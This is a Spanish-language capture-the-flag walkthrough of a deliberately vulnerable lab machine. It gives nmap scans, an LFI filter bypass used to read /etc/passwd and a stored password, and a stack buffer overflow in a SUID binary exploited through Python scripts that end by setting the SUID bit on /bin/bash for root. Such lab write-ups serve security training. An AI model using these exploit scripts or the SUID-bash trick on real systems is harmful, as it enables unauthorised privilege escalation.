Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipstack.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shstack.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-22 02:27 EST
Nmap scan report for ctf403.hl (172.17.0.2)
Host is up (0.000040s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 85:7f:49:c5:89:f6:ce:d2:b3:92:f1:40:de:e0:56:c4 (ECDSA)
|_ 256 6d:ed:59:b8:d8:cc:50:54:9d:37:65:58:f5:3f:52:e3 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Web en producci\xC3\xB3n
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds
Si entramos en la pagina web que tiene subida en el puerto 80 no veremos mucho a simple vista, pero si inspeccionamos el codigo veremos un comentario en el que pone lo siguiente:
<!--Mensaje para Bob: hemos guardado tu contrase�a en /usr/share/bob/password.txt-->
Por lo que esto nos servira para mas adelante...
Vamos hacer un poco de fuzzing a ver que encontramos.
Vemos que hay varias cosas interesantes, si entramos a note.txt veremos lo siguiente:
Hemos detectado el LFI en el archivo PHP, pero gracias a str_replace() creemos haber tapado la vulnerabilidad
Por lo que vemos nos comenta que habia una vulnerabilidad de LFI, por lo que veremos si realmente ya no esta, fuzzeando probando con diferentes parametros intentando leer el passwd de la siguiente forma.
Lo haremos en el apartado de file.php ya que es el unico que podria tener esta vulnerabilidad ya que tiene un PHP.
Despues de estar un rato probando varias formas de realizar el LFI vemos que si hacemos ese Bypass podremos ver que funciono con el parametro file, por lo que haremos lo siguiente:
Veremos que obtuvimos el passwd de la maquina, pero recordemos que anteriormente la contraseña de bob estaba en la siguiente ruta /usr/share/bob/password.txt asi que vamos a intentar leerlo:
Escribe la contraseña: bob
Estás en modo usuario (key = 1234)
key debe valer 0xdead para entrar al modo administrador
Veremos que aparentemente no hace nada en especial, pero vamos a ver si es vulnerable a un Buffer Overflow:
./command_exec
Info:
Escribe la contraseña: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Estás en modo usuario (key = 63413563)
key debe valer 0xdead para entrar al modo administrador
zsh: segmentation fault ./command_exec
Vemos que nos pone segmentation fault por lo que si es vulnerable...
Vamos a pasarnos el archivo a nuestro host de la siguiente forma.
python3-mhttp.server
Host
wgethttp://<IP>/command_exec
Y con esto ya obtendremos el archivo.
Ingenieria inversa (command_exec)
Instalacion de GDB con PEDA/GDB con pwndbg
Lo que primero tendremos que hacer sera lo siguiente:
GNU gdb (Debian 15.2-1) 15.2
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 176 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from ./command_exec...
(No debugging symbols found in ./command_exec)
------- tip of the day (disable with set show-tips off) -------
GDB's apropos <topic> command displays all registered commands that are related to the given <topic>
pwndbg>
Comprobacion de desbordamiento de Buffer
En el host, generamos una cadena de caracteres diseñada para intentar desbordar el buffer de la aplicación. Esto se logra con la herramienta pattern_create.rb:
────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────
► 0x55bd7d352288 <main+239> ret <0x3164413064413963>
Que es la parte que nos interesa, ya que se muestra la direccion de memoria al cual le vamos a encontrar el offset de la siguiente forma:
Identificación del Offset
Para determinar el desplazamiento exacto (offset) donde ocurre la sobrescritura, usamos pattern_offset.rb, proporcionando la dirección en hexadecimal obtenida del RIP:
En una arquitectura de 64 bits, no existe el registro EIP como en las arquitecturas de 32 bits. En su lugar, se utiliza el registro RIP, que almacena la dirección de la próxima instrucción a ejecutar. Sin embargo, esto no significa que RIP contenga directamente el valor que estamos sobreescribiendo en un desbordamiento de buffer.
Por ello, debemos buscar el valor en el stack que representa la dirección de retorno (ret), que es el objetivo del desbordamiento. En este caso, ese valor es 0x3164413064413963, el cual proviene de nuestra entrada controlada y será el punto que debemos sobreescribir para desviar el flujo de ejecución.
Vamos a crear un pequeño script que nos automatice todo esto de crear caracteres:
overflowCreate.py
import argparsedefgenerate_pattern(buffer_length,offset_length=0,rest_length=0):""" Genera una cadena en la que: - Los caracteres del buffer se rellenan con 'A'. - El segmento del offset se llena con 'B'. - El resto se llena con 'C'. Args: buffer_length (int): Longitud del segmento del buffer (relleno con 'A'). offset_length (int): Longitud del segmento del offset (relleno con 'B'). rest_length (int): Longitud del segmento del resto (relleno con 'C'). Returns: str: Cadena generada. """ buffer_segment ='A'* buffer_length offset_segment ='B'* offset_length rest_segment ='C'* rest_lengthreturn buffer_segment + offset_segment + rest_segmentdefmain(): parser = argparse.ArgumentParser(description="Generador de patrones para buffer overflow.") parser.add_argument('-b', '--buffer', type=int, required=True, help="Tamaño del segmento para desbordar el buffer (relleno con 'A').") parser.add_argument('-o', '--offset', type=int, default=0, help="Tamaño del segmento del offset (relleno con 'B').") parser.add_argument('-p', '--padding', type=int, default=0, help="Tamaño del segmento restante (relleno con 'C').") args = parser.parse_args()# Validar que `-o` y `-p` dependen de `-b`if args.offset andnot args.buffer:print("Error: El argumento '-o' depende de '-b'. Usa '-b' para especificar el buffer primero.")returnif args.padding andnot (args.buffer and args.offset):print("Error: El argumento '-p' depende de '-b' y '-o'. Usa ambos antes de '-p'.")return# Generar patrón pattern =generate_pattern(args.buffer, args.offset, args.padding)print("\n=== Patrón Generado ===")print(pattern)if__name__=="__main__":main()
Vemos que esta escribiendo bien el RIP con las B que hemos metido que se representan en hexadecimal con el 42424242 y las A con el 4141414141414141, por lo que se esta escribiendo todo correctamente.
Pero para verlo mejor y ser mas certeros, vamos a realizarlo de forma manual de la siguiente forma.
Vamos a investigar donde se llena de B(42) la key que nos dice el binario.
python2-c'print b"A"*76 + b"B"*8'|./command_exec
Info:
Escribe la contraseña: Estás en modo usuario (key = 42424242)
key debe valer 0xdead para entrar al modo administrador
Vemos que la key se esta llenando de B(42) despues de los 76 caracteres, por lo que hemos encontrado el offset real, ahora vamos a crearnos un mini script, para automatizar todo esto...
Rellenando la key con dead
Sabiendo que la direccion de memoria es 0xdead la que tiene que rellenar la key, podremos crear el siguiente script, para ver si se rellena bien:
exploit.py
#!/bin/python3import subprocess# 1. Offset para alcanzar la ubicación de la variable 'key' en la pila# Este valor debe ser ajustado para coincidir con la cantidad de bytes que debemos sobrescribir# antes de llegar a la variable 'key' o la dirección que queremos manipular.offset =76# 2. Crear la parte del RIP (Return Instruction Pointer), utilizando 'A' para llenar la memoria.# El RIP es el puntero de retorno en la pila, que en el caso de un desbordamiento de buffer puede# sobrescribirse, permitiéndonos manipular la ejecución del programa.# En este caso, 'A' es solo un carácter de relleno para alcanzar el valor deseado.RIP =b"A"* offset# 3. Representación de 0xdead en dos bytes: 0xad y 0xde.# Queremos sobrescribir la variable 'key' con el valor 0xdead. Este valor se representa en hexadecimal# como dos bytes: 0xad (más bajo) y 0xde (más alto).dead =b"\xad\xde"# 4. Crear el payload final, que consiste en:# - RIP: Llenamos con 'A' hasta llegar a la posición de la variable 'key'# - dead: Sobrescribimos 'key' con 0xdeadpayload = RIP + dead# 5. Nombre del binario que vamos a ejecutar# En este caso, es un binario llamado 'command_exec' que se encuentra en el directorio /opt y lo ejecuta directamenteprogram = ["/opt/command_exec"]# 6. Ejecutar el binario con un proceso hijo utilizando Popen.# Utilizamos stdin=subprocess.PIPE para poder enviar datos (el payload) al binario de forma controlada.process = subprocess.Popen( program, stdin=subprocess.PIPE)# 7. Enviar el payload al programa a través de stdin.# El primer payload sobrescribe la ubicación de la 'key' con el valor 0xdead.process.stdin.write(payload +b"\n")process.stdin.flush()# Aseguramos que el payload se envíe correctamente.# 8. Esperamos a que termine el proceso.# Esto asegura que el binario termine su ejecución antes de finalizar el script.process.wait()
Por lo que vemos funciona correctamente, por lo que ahora vamos automatizar el que envie un comando tambien de la siguiente forma:
exploit.py
#!/bin/python3import subprocess# 1. Offset para alcanzar la ubicación de la variable 'key' en la pila# Este valor debe ser ajustado para coincidir con la cantidad de bytes que debemos sobrescribir# antes de llegar a la variable 'key' o la dirección que queremos manipular.offset =76# 2. Crear la parte del RIP (Return Instruction Pointer), utilizando 'A' para llenar la memoria.# El RIP es el puntero de retorno en la pila, que en el caso de un desbordamiento de buffer puede# sobrescribirse, permitiéndonos manipular la ejecución del programa.# En este caso, 'A' es solo un carácter de relleno para alcanzar el valor deseado.RIP =b"A"* offset# 3. Representación de 0xdead en dos bytes: 0xad y 0xde.# Queremos sobrescribir la variable 'key' con el valor 0xdead. Este valor se representa en hexadecimal# como dos bytes: 0xad (más bajo) y 0xde (más alto).dead =b"\xad\xde"# 4. Comando adicional que se ejecutará al sobrescribir la 'key'.# El comando 'id' para ver que usuario somos o bajo el que se esta ejecutandocommand =b"id"# 5. Crear el payload final, que consiste en:# - RIP: Llenamos con 'A' hasta llegar a la posición de la variable 'key'# - dead: Sobrescribimos 'key' con 0xdeadpayload = RIP + dead# 6. Nombre del binario que vamos a ejecutar# En este caso, es un binario llamado 'command_exec' que se encuentra en el directorio /opt y lo ejecuta directamenteprogram = ["/opt/command_exec"]# 7. Ejecutar el binario con un proceso hijo utilizando Popen.# Utilizamos stdin=subprocess.PIPE para poder enviar datos (el payload) al binario de forma controlada.process = subprocess.Popen( program, stdin=subprocess.PIPE)# 8. Enviar el payload al programa a través de stdin.# El primer payload sobrescribe la ubicación de la 'key' con el valor 0xdead.process.stdin.write(payload +b"\n")process.stdin.flush()# Aseguramos que el payload se envíe correctamente.# 9. Ahora que hemos sobrescrito la 'key', enviamos el comando adicional que se ejecutará,# en este caso, 'id' para ver que usuario somos o bajo el que se esta ejecutandoprocess.stdin.write(command +b"\n")process.stdin.flush()# 10. Esperamos a que termine el proceso.# Esto asegura que el binario termine su ejecución antes de finalizar el script.process.wait()
Vemos que se esta ejecutando como root ya que el binario esta con permisos SUID por lo que vamos hacer lo siguiente para ser root:
exploit.py
#!/bin/python3import subprocess# 1. Offset para alcanzar la ubicación de la variable 'key' en la pila# Este valor debe ser ajustado para coincidir con la cantidad de bytes que debemos sobrescribir# antes de llegar a la variable 'key' o la dirección que queremos manipular.offset =76# 2. Crear la parte del RIP (Return Instruction Pointer), utilizando 'A' para llenar la memoria.# El RIP es el puntero de retorno en la pila, que en el caso de un desbordamiento de buffer puede# sobrescribirse, permitiéndonos manipular la ejecución del programa.# En este caso, 'A' es solo un carácter de relleno para alcanzar el valor deseado.RIP =b"A"* offset# 3. Representación de 0xdead en dos bytes: 0xad y 0xde.# Queremos sobrescribir la variable 'key' con el valor 0xdead. Este valor se representa en hexadecimal# como dos bytes: 0xad (más bajo) y 0xde (más alto).dead =b"\xad\xde"# 4. Comando adicional que se ejecutará al sobrescribir la 'key'.# El comando 'chmod u+s /bin/bash' cambia los permisos de 'bash' para permitir que sea ejecutado# con privilegios de usuario 'root' (SUID).# Esto puede ser utilizado para obtener acceso de root al ejecutar el binario modificado.command =b"chmod u+s /bin/bash"# 5. Crear el payload final, que consiste en:# - RIP: Llenamos con 'A' hasta llegar a la posición de la variable 'key'# - dead: Sobrescribimos 'key' con 0xdeadpayload = RIP + dead# 6. Nombre del binario que vamos a ejecutar# En este caso, es un binario llamado 'command_exec' que se encuentra en el directorio /opt y lo ejecuta directamenteprogram = ["/opt/command_exec"]# 7. Ejecutar el binario con un proceso hijo utilizando Popen.# Utilizamos stdin=subprocess.PIPE para poder enviar datos (el payload) al binario de forma controlada.process = subprocess.Popen( program, stdin=subprocess.PIPE)# 8. Enviar el payload al programa a través de stdin.# El primer payload sobrescribe la ubicación de la 'key' con el valor 0xdead.process.stdin.write(payload +b"\n")process.stdin.flush()# Aseguramos que el payload se envíe correctamente.# 9. Ahora que hemos sobrescrito la 'key', enviamos el comando adicional que se ejecutará,# en este caso, 'chmod u+s /bin/bash' para cambiar los permisos de bash y permitir ejecutar bash como root.process.stdin.write(command +b"\n")process.stdin.flush()# 10. Esperamos a que termine el proceso.# Esto asegura que el binario termine su ejecución antes de finalizar el script.process.wait()